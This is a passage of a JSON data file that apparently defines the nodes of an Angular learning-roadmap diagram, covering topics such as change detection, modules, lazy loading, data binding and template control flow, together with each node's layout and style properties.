\"y\": 374.9715671723861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"changeDetection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A5hlIbsEqnos4BLSDHKoH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -514.5993272119424,\n        \"y\": 374.9715671723861\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-gUpm3OLUJl9iAyx6fmHN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -379.3084777160734,\n        \"y\": 108.47156717238613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Template\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uYHy2yhtTm6fQkKpYx3lU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -379.3084777160734,\n        \"y\": 108.47156717238613\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 132\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RcNHEh6kmbBK1PICbhAwr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -379.3084777160734,\n        \"y\": 160.97156717238613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Standalone\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-gUpm3OLUJl9iAyx6fmHN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -379.3084777160734,\n        \"y\": 160.97156717238613\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 132\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"doHDoAgp7T59KGSXPpQzZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.5993272119424,\n        \"y\": 265.9715671723861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"viewProvider\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dOMvz__EQjO-3p-Nzm-7P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 52,\n      \"positionAbsolute\": {\n        \"x\": -514.5993272119424,\n        \"y\": 265.9715671723861\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 52\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 52\n      }\n    },\n    {\n      \"id\": \"ctigvSYeFa77y3v7m11gk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -513.5993272119424,\n        \"y\": 321.4715671723861\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Encapsulation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uYHy2yhtTm6fQkKpYx3lU\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": -513.5993272119424,\n        \"y\": 321.4715671723861\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 50\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"cDN0PGo-zkcLmttxCiAI-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.5993272119424,\n        \"y\": 108.47156717238613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Selector\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gk9iXF7bHhf_HCpSLdY42\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -514.5993272119424,\n        \"y\": 108.47156717238613\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 132\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4XJKEmSrQfPxggHlAP30w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.5993272119424,\n        \"y\": 160.97156717238613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Styles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-gUpm3OLUJl9iAyx6fmHN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -514.5993272119424,\n        \"y\": 160.97156717238613\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 132\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ghbrJhuGvscnNGCtVLh5_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.5993272119424,\n        \"y\": 213.47156717238613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Imports\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RcNHEh6kmbBK1PICbhAwr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -514.5993272119424,\n        \"y\": 213.47156717238613\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 132\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Szgr8dnZNi-z5i6raIJzW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -522.2433266387567,\n        \"y\": 48.47156717238613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Metadata\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"doHDoAgp7T59KGSXPpQzZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 283,\n      \"height\": 55,\n      \"positionAbsolute\": {\n        \"x\": -522.2433266387567,\n        \"y\": 48.47156717238613\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 55\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 55\n      }\n    },\n    {\n      \"id\": \"19c7D-fWIJ3vYFT6h8ZfN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -521.7433266387567,\n        \"y\": 439.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Communication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.7433266387567,\n        \"y\": 439.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TDyFjKrIZJnCjEZsojPNQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -513.5993272119424,\n        \"y\": 494.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Parent-Child Interaction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -513.5993272119424,\n        \"y\": 494.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v0XaLNZ-YrRqP-xv8wS43\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -513.5993272119424,\n        \"y\": 546.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ViewChild\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -513.5993272119424,\n        \"y\": 546.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oQl9etjoHiU2JgxieUOEH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.5993272119424,\n        \"y\": 546.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ContentChild\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -390.5993272119424,\n        \"y\": 546.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nCpfj_35ZvW-NTygg06XZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.7433266387567,\n        \"y\": 609.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Component Lifecycle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Mp056kNnwsRWeEXuhGPy-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -521.7433266387567,\n        \"y\": 609.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tC5ETtOuuUcybj1jI4CuG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -523.7433266387567,\n        \"y\": 661.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dynamic Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nCpfj_35ZvW-NTygg06XZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -523.7433266387567,\n        \"y\": 661.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"b_kdNS9PDupcUftslkf9i\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 332.25667336124326,\n        \"y\": 512.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 332.25667336124326,\n        \"y\": 512.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BCq5sgWQLiw0f7u7ZSAd2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 297.54484613528683,\n        \"y\": 198.21599278857485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Module Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 297.54484613528683,\n        \"y\": 198.21599278857485\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ex8FOKrUlbu4MuEq2czyW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.2433266387567,\n        \"y\": -7.284007211425205\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Creating Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Mp056kNnwsRWeEXuhGPy-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 282,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -521.2433266387567,\n        \"y\": -7.284007211425205\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9YhTXybJw2gszlqFeBtW3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 297.54484613528683,\n        \"y\": 251.21599278857485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Creating Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BCq5sgWQLiw0f7u7ZSAd2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 297.54484613528683,\n        \"y\": 251.21599278857485\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w_BazXvINFyxDCHmlznfy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 297.54484613528683,\n        \"y\": 304.21599278857485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Feature Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9YhTXybJw2gszlqFeBtW3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 297.54484613528683,\n        \"y\": 304.21599278857485\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bLERvEERmNI5AgxtEYokZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 297.54484613528683,\n        \"y\": 357.21599278857485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lazy Loading Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 297.54484613528683,\n        \"y\": 357.21599278857485\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5b590c7s-2XJ0rgdCYxLa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 297.54484613528683,\n        \"y\": 410.21599278857485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dependencies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 297.54484613528683,\n        \"y\": 410.21599278857485\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6fhe9xAi_RSVfa-KKbcbV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 332.25667336124326,\n        \"y\": 604.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Templates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 199,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 199,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 332.25667336124326,\n        \"y\": 604.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 199,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XHpfHRIlFh19FJIE07u7i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -100.73327447982547,\n        \"y\": 463.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Interpolation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -100.73327447982547,\n        \"y\": 463.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t2YOeMONlcnKBrVAo0JDc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -100.73327447982547,\n        \"y\": 516.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Template Statements\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -100.73327447982547,\n        \"y\": 516.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WH5wlyOtrqFHBJx7RFJwS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -99.73327447982547,\n        \"y\": 572.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Binding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -99.73327447982547,\n        \"y\": 572.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5vZkiH7HDwONIABLfNJ06\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -91.73327447982547,\n        \"y\": 629.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Binding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -91.73327447982547,\n        \"y\": 629.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TJOZfHtsLfwA0CZ2bd1b2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -91.73327447982547,\n        \"y\": 682.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Property Binding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -91.73327447982547,\n        \"y\": 682.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FgsSyM6To7irpbivtOLEE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -91.73327447982547,\n        \"y\": 735.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Attribute Binding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -91.73327447982547,\n        \"y\": 735.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bKnpirSvex4oE4lAjiSSV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -91.73327447982547,\n        \"y\": 788.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event Binding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -91.73327447982547,\n        \"y\": 788.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2UH79nCjgtY1Qz1YjUJYL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -91.73327447982547,\n        \"y\": 841.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Two-way Binding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -91.73327447982547,\n        \"y\": 841.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VzvB_bads057YtG4ST4a2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -99.73327447982547,\n        \"y\": 904.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Control Flow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -99.73327447982547,\n        \"y\": 904.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VsU6713jeIjAOEZnF6gWx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -99.73327447982547,\n        \"y\": 1010.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"@Input & @Output\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -99.73327447982547,\n        \"y\": 1010.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nyDry6ZWyEUuTq4pw-lU3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -99.73327447982547,\n        \"y\": 957.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Template Ref Vars\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -99.73327447982547,\n        \"y\": 957.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VsC7UmE_AumsBP8fC6to1\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -522.2433266387567,\n        \"y\": 739.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Template Syntax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -522.2433266387567,\n        \"y\": 739.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U1Zy2T-2ki9pDkXn9hn-I\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.5993272119424,\n        \"y\": 796.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"@if\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.5993272119424,\n        \"y\": 796.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ORdPDad4HWJAfcZuS-7yM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        